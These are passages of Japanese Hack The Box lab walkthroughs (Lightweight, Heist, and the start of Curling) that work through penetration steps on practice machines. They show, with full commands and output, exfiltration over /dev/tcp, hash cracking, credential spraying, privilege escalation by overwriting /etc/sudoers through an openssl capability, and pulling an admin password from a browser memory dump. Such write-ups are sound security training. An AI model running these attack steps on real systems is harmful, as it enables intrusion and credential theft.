[10.10.14.33@lightweight ~]$ su ldapuser2 Password: [ldapuser2@lightweight 10.10.14.33]$ id uid=1001(ldapuser2) gid=1001(ldapuser2) groups=1001(ldapuser2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [ldapuser2@lightweight 10.10.14.33]$ cd /home/ldapuser2 [ldapuser2@lightweight ~]$ ls backup.7z OpenLDAP-Admin-Guide.pdf OpenLdap.pdf user.txt [ldapuser2@lightweight ~]$ cat user.txt
backup.7z発見
user.txtと同じディレクトリにbackup.7zがある。
[ldapuser2@lightweight ~]$ ls -l total 1868 -rw-r--r--. 1 root root 3411 Jun 14 2018 backup.7z -rw-rw-r--. 1 ldapuser2 ldapuser2 1520530 Jun 13 2018 OpenLDAP-Admin-Guide.pdf -rw-rw-r--. 1 ldapuser2 ldapuser2 379983 Jun 13 2018 OpenLdap.pdf -rw-r--r--. 1 root root 33 Jun 15 2018 user.txt
ローカルにデータ移動
scpで移動させようとしたが、ldapuser2ではssh接続できない&ローカル(kali)はsshポートを開けていないので、別の方法と使う。
方法1:base64エンコードして移動する。
[ldapuser2@lightweight ~]$ base64 backup.7z N3q8ryccAAQmbxM1EA0AAAAAAAAjAAAAAAAAAI (snip) [ldapuser2@lightweight ~]$
方法2:ncを使う
・送信側
[ldapuser2@lightweight ~]$ cat backup.7z > /dev/tcp/10.10.14.33/1234
・受信側
root@kali:~/lightweight# nc -lvp 1234 > backup.7z listening on [any] 1234 ... connect to [10.10.14.33] from lightweight.htb [10.10.10.119] 37654
backup.7z解凍
方法1の方法で移動してきたデータをbase64デコードし、7zで解凍を試みるが、パスワードが必要。
root@kali:~/lightweight# base64 -d data > backup.7z root@kali:~/lightweight# 7z x backup.7z 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-8650U CPU @ 1.90GHz (806EA),ASM,AES-NI) Scanning the drive for archives: 1 file, 3411 bytes (4 KiB) Extracting archive: backup.7z -- Path = backup.7z Type = 7z Physical Size = 3411 Headers Size = 259 Method = LZMA2:12k 7zAES Solid = + Blocks = 1 Enter password (will not be echoed):
パスワードクラック
john
で解析するため、7z2john
使おうとしたが、エラーでた。
root@kali:~/lightweight# /usr/share/john/7z2john.pl backup.7z > hash Can't locate Compress/Raw/Lzma.pm in @INC (you may need to install the Compress::Raw::Lzma module) (@INC contains: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.30.3 /usr/local/share/perl/5.30.3 /usr/lib/x86_64-linux-gnu/perl5/5.30 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/perl/5.30 /usr/share/perl/5.30 /usr/local/lib/site_perl) at /usr/share/john/7z2john.pl line 6. BEGIN failed--compilation aborted at /usr/share/john/7z2john.pl line 6.
以下を実行することで解決した。
root@kali:~/lightweight# apt install libcompress-raw-lzma-perl
パスワードゲット。
root@kali:~/lightweight# /usr/share/john/7z2john.pl backup.7z > hash root@kali:~/lightweight# cat hash backup.7z:$7z$2$19$0$$8$11e96ba400e3926d0000000000000000$1800843918$3152$3140$1ed4a64a2e9a8bc76c59d8160d3bc3bbfd995ce02cf430ea41949ff4d745f6bf3ed238e9f06e98da3446dda53df0abf11902852e4b2a4e32e0b0f12b33af40d351b2140d6266db1a3d66e1c82fa9d516556ec893ba6841f052618ad210593b9975307b98db7e853e3ebfbef6856039647a6ad33a63f5b268fc003c39eba04484bef (snip) root@kali:~/lightweight# john -w:/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (7z, 7-Zip [SHA256 128/128 AVX 4x AES]) Cost 1 (iteration count) is 524288 for all loaded hashes Cost 2 (padding size) is 12 for all loaded hashes Cost 3 (compression type) is 2 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status delete (backup.7z) 1g 0:00:00:35 DONE (2020-11-01 03:03) 0.02783g/s 57.44p/s 57.44c/s 57.44C/s slimshady..aries Use the "--show" option to display all of the cracked passwords reliably Session completed
このパスワードを使うと、backup.7zからindex.php
、info.php
、status.php
、user.php
が解凍される。
status.php
にldapuser1のパスワードがハードコードされていた。
root@kali:~/lightweight# cat status.php (snip) $username = 'ldapuser1'; $password = 'f3ca9d298a553da117442deeb6fa932d';
このパスワードを使って、ldapuser1
になる。
[ldapuser2@lightweight ~]$ su ldapuser1 Password: [ldapuser1@lightweight ldapuser2]$ id uid=1000(ldapuser1) gid=1000(ldapuser1) groups=1000(ldapuser1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
capabilityを調べる
先ほどと同様にcapabilityを調べたところ、/home/ldapuser1/openssl
がepで設定されていることが分かった。
[ldapuser1@lightweight ~]$ getcap -r / 2>/dev/null /usr/bin/ping = cap_net_admin,cap_net_raw+p /usr/sbin/mtr = cap_net_raw+ep /usr/sbin/suexec = cap_setgid,cap_setuid+ep /usr/sbin/arping = cap_net_raw+p /usr/sbin/clockdiff = cap_net_raw+p /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep /home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep /home/ldapuser1/openssl =ep
root.txtゲット
openssl
でファイルを読むコマンドを実行し、root.txtゲット。
参考:https://gtfobins.github.io/gtfobins/openssl/
[ldapuser1@lightweight ~]$ ./openssl base64 -in "/root/root.txt" | base64 -d
(おまけ)rootシェルをゲットしたい場合
/etc/sudoers
を上書きし、10.10.14.33ユーザ(自分)にsudoでの任意コマンドの実行権限を付与する。
参考:https://gtfobins.github.io/gtfobins/openssl/
[ldapuser1@lightweight ~]$ echo -ne "root\tALL=(ALL:ALL) ALL\n\"10.10.14.33\"\tALL=(ALL:ALL) ALL\n" > /tmp/getsudo [ldapuser1@lightweight ~]$ ./openssl enc -in /tmp/getsudo -out /etc/sudoers [ldapuser1@lightweight ~]$ exit exit [10.10.14.33@lightweight ~]$ sudo su [sudo] password for 10.10.14.33: [root@lightweight 10.10.14.33]# id uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
(おまけ)ldapsearch
namingcontextsを取得。
root@kali:~/lightweight# ldapsearch -h 10.10.10.119 -s base namingcontexts -x # extended LDIF # # LDAPv3 # base <> (default) with scope baseObject # filter: (objectclass=*) # requesting: namingcontexts # # dn: namingContexts: dc=lightweight,dc=htb ★ # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1
ユーザ名、パスワードハッシュがゲットできる。SHA512であり、今回はここから平文は取得できない。
root@kali:~/lightweight# ldapsearch -h 10.10.10.119 -b "dc=lightweight, dc=htb" -x # extended LDIF # # LDAPv3 # base <dc=lightweight, dc=htb> with scope subtree # filter: (objectclass=*) # requesting: ALL # # lightweight.htb dn: dc=lightweight,dc=htb objectClass: top objectClass: dcObject objectClass: organization o: lightweight htb dc: lightweight # Manager, lightweight.htb dn: cn=Manager,dc=lightweight,dc=htb objectClass: organizationalRole cn: Manager description: Directory Manager # People, lightweight.htb dn: ou=People,dc=lightweight,dc=htb objectClass: organizationalUnit ou: People # Group, lightweight.htb dn: ou=Group,dc=lightweight,dc=htb objectClass: organizationalUnit ou: Group # ldapuser1, People, lightweight.htb dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb uid: ldapuser1 cn: ldapuser1 sn: ldapuser1 mail: ldapuser1@lightweight.htb objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson objectClass: posixAccount objectClass: top objectClass: shadowAccount userPassword:: e2NyeXB0fSQ2JDNxeDBTRDl4JFE5eTFseVFhRktweHFrR3FLQWpMT1dkMzNOd2R oai5sNE16Vjd2VG5ma0UvZy9aLzdONVpiZEVRV2Z1cDJsU2RBU0ltSHRRRmg2ek1vNDFaQS4vNDQv shadowLastChange: 17691 shadowMin: 0 shadowMax: 99999 shadowWarning: 7 loginShell: /bin/bash uidNumber: 1000 gidNumber: 1000 homeDirectory: /home/ldapuser1 # ldapuser2, People, lightweight.htb dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb uid: ldapuser2 cn: ldapuser2 sn: ldapuser2 mail: ldapuser2@lightweight.htb objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson objectClass: posixAccount objectClass: top objectClass: shadowAccount userPassword:: e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z24x shadowLastChange: 17691 shadowMin: 0 shadowMax: 99999 shadowWarning: 7 loginShell: /bin/bash uidNumber: 1001 gidNumber: 1001 homeDirectory: /home/ldapuser2 # ldapuser1, Group, lightweight.htb dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb objectClass: posixGroup objectClass: top cn: ldapuser1 userPassword:: e2NyeXB0fXg= gidNumber: 1000 # ldapuser2, Group, lightweight.htb dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb objectClass: posixGroup objectClass: top cn: ldapuser2 userPassword:: e2NyeXB0fXg= gidNumber: 1001 # search result search: 2 result: 0 Success # numResponses: 9 # numEntries: 8
(おまけ)NSE(ldap-search)
root@kali:~/lightweight# nmap --script ldap-search -p 389 10.10.10.119 Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-01 22:09 JST Nmap scan report for lightweight.htb (10.10.10.119) Host is up (0.27s latency). PORT STATE SERVICE 389/tcp open ldap | ldap-search: | Context: dc=lightweight,dc=htb | dn: dc=lightweight,dc=htb | objectClass: top | objectClass: dcObject | objectClass: organization | o: lightweight htb | dc: lightweight | dn: cn=Manager,dc=lightweight,dc=htb | objectClass: organizationalRole | cn: Manager | description: Directory Manager | dn: ou=People,dc=lightweight,dc=htb | objectClass: organizationalUnit | ou: People | dn: ou=Group,dc=lightweight,dc=htb | objectClass: organizationalUnit | ou: Group | dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb | uid: ldapuser1 | cn: ldapuser1 | sn: ldapuser1 | mail: ldapuser1@lightweight.htb | objectClass: person | objectClass: organizationalPerson | objectClass: inetOrgPerson | objectClass: posixAccount | objectClass: top | objectClass: shadowAccount | userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/ | shadowLastChange: 17691 | shadowMin: 0 | shadowMax: 99999 | shadowWarning: 7 | loginShell: /bin/bash | uidNumber: 1000 | gidNumber: 1000 | homeDirectory: /home/ldapuser1 | dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb | uid: ldapuser2 | cn: ldapuser2 | sn: ldapuser2 | mail: ldapuser2@lightweight.htb | objectClass: person | objectClass: organizationalPerson | objectClass: inetOrgPerson | objectClass: posixAccount | objectClass: top | objectClass: shadowAccount | userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1 | shadowLastChange: 17691 | shadowMin: 0 | shadowMax: 99999 | shadowWarning: 7 | loginShell: /bin/bash | uidNumber: 1001 | gidNumber: 1001 | homeDirectory: /home/ldapuser2 | dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb | objectClass: posixGroup | objectClass: top | cn: ldapuser1 | userPassword: {crypt}x | gidNumber: 1000 | dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb | objectClass: posixGroup | objectClass: top | cn: ldapuser2 | userPassword: {crypt}x |_ gidNumber: 1001 Nmap done: 1 IP address (1 host up) scanned in 2.42 seconds
(おまけ)capabilityとは(メモ)
- rootが持っている権限を小分けにし、細かくした権限をプロセスに与えられるようにする機能。その細かい権限のことをcapabilityという。
- rootか一般ユーザかだけでなく、もっと細かい単位で権限を付与することが可能。
例:ping
- pingはパケット送信にRawソケットを使う、これを使うにはroot権限が必要。そのため、LinuxディストリビューションによってはpingにSUIDが設定されている。
- 逆に言うと、Rawソケットを使うためだけにroot権限がほしいのに、rootが持つ権限全てをpingに渡している状況。
- Rawソケットを使う権限(capabiliry)のみを与えるという考え。→CAP_NET_RAW
capabilityのリスト
- capabilityセット
- プロセスのcapabilityセット
- ファイルのcapabilityセット
- それぞれで以下のcapabilityセットが定義されている
- Permitted(許可)
- Inheritable(継承可能)
- effective(実行)
【Hack The Box】Heist Walkthrough
はじめに
ポートスキャン
root@kali:~# nmap -sC -sV -Pn 10.10.10.149 Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-17 23:19 JST Nmap scan report for 10.10.10.149 Host is up (0.24s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 | http-title: Support Login Page |_Requested resource was login.php 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 4m05s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-09-17T14:24:00 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 76.88 seconds
全部のポートにやったら他にも開いていた。
root@kali:~# nmap -p- 10.10.10.149 Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-17 23:19 JST Nmap scan report for 10.10.10.149 Host is up (0.24s latency). Not shown: 65530 filtered ports PORT STATE SERVICE 80/tcp open http 135/tcp open msrpc 445/tcp open microsoft-ds 5985/tcp open wsman 49669/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 284.99 seconds
80、445、5985あたりが狙い目だろう。
ブラウザで80番へアクセス
ログイン画面。
右下にあるLogin as guest
をすると以下のような画面。
Attachment
を選択すると、以下の画面。cisco routerのconfigテキストらしきもののようだ。
type5のパスワードハッシュ(MD5)と、type7のパスワードハッシュが計3つある(以下)。これらの平文パスワードを見つける。
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
パスワードクラック
type5のパスワード
root@kali:~/heist# echo '$1$pdQG$o8nrSzsGXeaduXrjlvKc91' > type5.txt root@kali:~/heist# john --wordlist=/usr/share/wordlists/rockyou.txt type5.txt Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status stealth1agent (?) 1g 0:00:01:23 DONE (2020-09-19 20:30) 0.01199g/s 42040p/s 42040c/s 42040C/s stealthy001..steak7893 Use the "--show" option to display all of the cracked passwords reliably Session completed
stealth1agent
というパスワードを取得。
type7のパスワード
オンラインのクラッカーがあったため、以下を利用して平文を取得することに成功した。
Cisco Type 7 Reverser - PacketLife.net
rout3r:$uperP@ssword
admin:Q4)sJu\Y8qz*A3?d
445ポートの調査
smbmap
を使ってみるが、認証エラー。
root@kali:~/heist# smbmap -H 10.10.10.149 [!] Authentication error on 10.10.10.149
Crackmapexecをインストール
気になっていたcrackmapexec
を使う。以下の流れでインストール。
参考:https://github.com/byt3bl33d3r/CrackMapExec/wiki/Installation
# apt install -y libssl-dev libffi-dev python-dev build-essential # git clone --recursive https://github.com/byt3bl33d3r/CrackMapExec # python3 setup.py install # crackmapexec usage: cme [-h] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--darrell] [--verbose] {winrm,smb,mssql,ldap,ssh} ... ______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______ / || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / | | ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----' | | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | | | `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----. \______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______| A swiss army knife for pentesting networks Forged by @byt3bl33d3r using the powah of dank memes Version: 5.1.0dev Codename: 3TH@n optional arguments: -h, --help show this help message and exit -t THREADS set how many concurrent threads to use (default: 100) --timeout TIMEOUT max timeout in seconds of each thread (default: None) --jitter INTERVAL sets a random delay between each connection (default: None) --darrell give Darrell a hand --verbose enable verbose output protocols: available protocols {winrm,smb,mssql,ldap,ssh} winrm own stuff using WINRM smb own stuff using SMB mssql own stuff using MSSQL ldap own stuff using ldap ssh own stuff using SSH Ya feelin' a bit buggy all of a sudden?
認証試行
ここまで見つけたものから以下のuser.txt、password.txtを作成。
root@kali:~/heist# cat users.txt rout3e admin Hazard root@kali:~/heist# cat password.txt stealth1agent $uperP@ssword Q4)sJu\Y8qz*A3?d
crackmapexec
でクラック。
root@kali:~/heist# crackmapexec smb 10.10.10.149 -u users.txt -p password.txt SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10.0 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False) SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\rout3e:stealth1agent STATUS_LOGON_FAILURE SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\rout3e:$uperP@ssword STATUS_LOGON_FAILURE SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\rout3e:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\admin:stealth1agent STATUS_LOGON_FAILURE SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\admin:$uperP@ssword STATUS_LOGON_FAILURE SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\Hazard:stealth1agent
クラックできたら止まるらしい。
探索続き
crackmapexec
で見つけた認証情報を使ってsmbmap
を再度実行すると、IPC$がREAD ONLYであることが確認できた。
root@kali:~/heist# smbmap -H 10.10.10.149 -u Hazard -p stealth1agent [+] IP: 10.10.10.149:445 Name: 10.10.10.149 Disk Permissions Comment ---- ----------- ------- ADMIN$ NO ACCESS Remote Admin C$ NO ACCESS Default share IPC$ READ ONLY Remote IPC
rpcclientで接続してみる。(初めて使うから、試しながら)
root@kali:~/heist# rpcclient -U Hazard 10.10.10.149 Enter WORKGROUP\Hazard's password: rpcclient $> 例えば。 rpcclient $> srvinfo 10.10.10.149 Wk Sv NT SNT platform_id : 500 os version : 10.0 server type : 0x9003 rpcclient $> lookupnames Hazard Hazard S-1-5-21-4254423774-1266059056-3197185112-1008 (User: 1) rpcclient $> lookupnames rout3r result was NT_STATUS_NONE_MAPPED rpcclient $> lookupnames admin result was NT_STATUS_NONE_MAPPED rpcclient $> lookupnames administrator administrator S-1-5-21-4254423774-1266059056-3197185112-500 (User: 1)
特に何も・・・。
ここで、impacket
ツール群の一つである、lookupsid.py
を使ってユーザを列挙してみる。
root@kali:~/tools/impacket/examples# python3 lookupsid.py Hazard:stealth1agent@10.10.10.149 Impacket v0.9.22.dev1+20200629.145357.5d4ad6cc - Copyright 2020 SecureAuth Corporation [*] Brute forcing SIDs at 10.10.10.149 [*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc] [*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112 500: SUPPORTDESK\Administrator (SidTypeUser) 501: SUPPORTDESK\Guest (SidTypeUser) 503: SUPPORTDESK\DefaultAccount (SidTypeUser) 504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser) 513: SUPPORTDESK\None (SidTypeGroup) 1008: SUPPORTDESK\Hazard (SidTypeUser) 1009: SUPPORTDESK\support (SidTypeUser) 1012: SUPPORTDESK\Chase (SidTypeUser) 1013: SUPPORTDESK\Jason (SidTypeUser)
いくつかユーザが見つかる。SID1000番台のsuppor、Chase、Jasonあたりを調べる。
5985ポートの調査
evil-winrm
を使う。これも初。
Evil-WinRMツールは、WinRMサービスが有効(通常は5985/tcpで応答)かつ、資格情報とアクセス許可がある場合に使用することのできるリモートシェルプログラムです。 Evil-WinRMツールを介することで、リモートのWindowsサーバーで稼働しているWinRMサービスに接続することができ、インタラクティブなPowerShellを取得することができます これを使う。
参考:https://qiita.com/v_avenger/items/78b323d5e30276a20735
evil-winrmのインストール
# gem install winrm winrm-fs stringio # git clone https://github.com/Hackplayers/evil-winrm.git
使う
ここまで見つけたユーザ名、パスワードを何パターンか試したところChaseと`Q4)sJu\Y8qz*A3?dでログイン成功。
root@kali:~/tools/evil-winrm# ./evil-winrm.rb -i 10.10.10.149 -u Chase -p "Q4)sJu\Y8qz*A3?d" Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Chase\Documents> *Evil-WinRM* PS C:\Users\Chase\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\Chase\Desktop> ls Directory: C:\Users\Chase\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 4/22/2019 9:08 AM 121 todo.txt -a---- 4/22/2019 9:07 AM 32 user.txt
これでuser.txtゲット。
権限昇格のための情報収集
各種ファイルの確認
user.txtと同じディレクトリにあるtodo.txtの中身は以下。
*Evil-WinRM* PS C:\Users\Chase\Desktop> cat todo.txt Stuff to-do: 1. Keep checking the issues list. 2. Fix the router config. Done: 1. Restricted access for guest user.
続いて、ドキュメントルートにあるlogin.phpを見ると、ユーザ名、パスワードがハードコードされていることが確認できる。
*Evil-WinRM* PS C:\inetpub\wwwroot> cat login.php (snip) </body> <?php session_start(); if( isset($_REQUEST['login']) && !empty($_REQUEST['login_username']) && !empty($_REQUEST['login_password'])) { if( $_REQUEST['login_username'] === 'admin@support.htb' && hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') { $_SESSION['admin'] = "valid"; header('Location: issues.php'); } else header('Location: errorpage.php'); } else if( isset($_GET['guest']) ) { if( $_GET['guest'] === 'true' ) { $_SESSION['guest'] = "valid"; header('Location: issues.php'); } } ?> </html>
オンラインサービスで試したが、91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040
の平文は取得できなかった。
アプリケーションの確認
*Evil-WinRM* PS C:\Program FIles> ls Directory: C:\Program FIles Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 4/21/2019 9:39 AM Common Files d----- 4/21/2019 11:00 AM internet explorer d----- 4/22/2019 6:56 AM Mozilla Firefox d----- 4/22/2019 6:47 AM PHP d----- 4/22/2019 6:46 AM Reference Assemblies d----- 4/22/2019 6:46 AM runphp d----- 8/27/2019 3:00 PM VMware d-r--- 4/21/2019 11:00 AM Windows Defender d----- 4/21/2019 11:00 AM Windows Defender Advanced Threat Protection d----- 9/15/2018 12:49 PM Windows Mail d----- 4/21/2019 11:00 AM Windows Media Player d----- 9/15/2018 12:49 PM Windows Multimedia Platform d----- 9/15/2018 12:58 PM windows nt d----- 4/21/2019 11:00 AM Windows Photo Viewer d----- 9/15/2018 12:49 PM Windows Portable Devices d----- 9/15/2018 12:49 PM Windows Security d----- 9/15/2018 12:49 PM WindowsPowerShell
プロセスの確認
firefoxのプロセスがいくつかある。一番CPUを使っているPID4668のメモリダンプをとりたい。
*Evil-WinRM* PS C:\> get-process Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName ------- ------ ----- ----- ------ -- -- ----------- 463 18 2436 5620 404 0 csrss 295 17 2352 5292 492 1 csrss 358 15 3572 14500 5128 1 ctfmon 164 9 1836 9792 0.03 2664 1 dllhost 259 14 4100 13584 3912 0 dllhost 617 32 33376 59068 1000 1 dwm 1491 57 23548 78484 5416 1 explorer 390 31 39272 71868 48.92 4668 1 firefox 358 25 16236 37652 0.50 6368 1 firefox 1132 69 128224 167868 24.63 6784 1 firefox 343 19 9944 37212 0.06 6908 1 firefox 407 31 17356 63148 1.59 7160 1 firefox 49 6 1432 3620 804 0 fontdrvhost 49 6 1788 4684 812 1 fontdrvhost (snip)
procdumpでPID4668のメモリダンプを取得
Powersploitのout-minidump.ps1
の実行がうまくいかなかったので、sysinternalsのprocdump
を使う。
*Evil-WinRM* PS C:\Users\Chase\Desktop> upload /root/tools/SysinternalsSuite/procdump.exe Info: Uploading /root/tools/SysinternalsSuite/procdump.exe to C:\Users\Chase\Desktop\procdump.exe Data: 967156 bytes of 967156 bytes copied Info: Upload successful!
実行する。
*Evil-WinRM* PS C:\Users\Chase\Desktop> ./procdump.exe -ma 4668 -accepteula ProcDump v10.0 - Sysinternals process dump utility Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards Sysinternals - www.sysinternals.com [20:12:34] Dump 1 initiated: C:\Users\Chase\Desktop\firefox.exe_200919_201234.dmp [20:12:34] Dump 1 writing: Estimated dump file size is 309 MB. [20:12:37] Dump 1 complete: 309 MB written in 2.6 seconds [20:12:37] Dump count reached.
同様にstrings
を持っていき、実行後(result.txt)、login.phpにあったパラメータ(login_password)でフィルター。
*Evil-WinRM* PS C:\Users\Chase\Desktop> cat result.txt | sls "login_password" MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login= MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login= RG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login= MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login= MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login=
adminパスワードが見つかる。
4dD!5}x/re8]FBuZ
rootシェル奪取
root@kali:~/tools/evil-winrm# ./evil-winrm.rb -i 10.10.10.149 -u Administrator -p '4dD!5}x/re8]FBuZ' Evil-WinRM shell v2.3 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> ls Directory: C:\Users\Administrator\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 4/22/2019 9:05 AM 32 root.txt
psexec
でも行ける。
root@kali:~/tools/impacket/examples# python3 psexec.py Administrator:'4dD!5}x/re8]FBuZ'@10.10.10.149 Impacket v0.9.22.dev1+20200629.145357.5d4ad6cc - Copyright 2020 SecureAuth Corporation [*] Requesting shares on 10.10.10.149..... [*] Found writable share ADMIN$ [*] Uploading file ETfPZfVT.exe [*] Opening SVCManager on 10.10.10.149..... [*] Creating service GWIA on 10.10.10.149..... [*] Starting service GWIA..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.437] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami nt authority\system
【Hack The Box】Curling Walkthrough
はじめに
ポートスキャン
root@kali:~# nmap -sC -sV -Pn 10.10.10.150 Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-20 13:22 JST Nmap scan report for 10.10.10.150 Host is up (0.26s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA) | 256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA) |_ 256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: Joomla! - Open Source Content Management |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Home Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.69 seconds
22(ssh)、80(http)が開いている。
ブラウザで80番へアクセス
Floris
というユーザ名と思われるものが見つかる。Wappalyzerを確認した所、CMSにはJoomlaが使われている。
後々既知の脆弱性を探す可能性もあるのでメモっておく。
ディレクトリスキャン
root@kali:~# gobuster dir -u http://10.10.10.150 -w /usr/share/dirb/wordlists/common.txt -x txt,php -t 100 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.150 [+] Threads: 100 [+] Wordlist: /usr/share/dirb/wordlists/common.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: php,txt [+] Timeout: 10s =============================================================== 2020/09/20 13:28:02 Starting gobuster =============================================================== /.htaccess (Status: 403) /.htaccess.txt (Status: 403) /.htaccess.php (Status: 403) /.hta (Status: 403) /.hta.txt (Status: 403) /.hta.php (Status: 403) /.htpasswd (Status: 403) /.htpasswd.txt (Status: 403) /.htpasswd.php (Status: 403) /administrator (Status: 301) /bin (Status: 301) /cache (Status: 301) /components (Status: 301) /configuration.php (Status: 200) /images 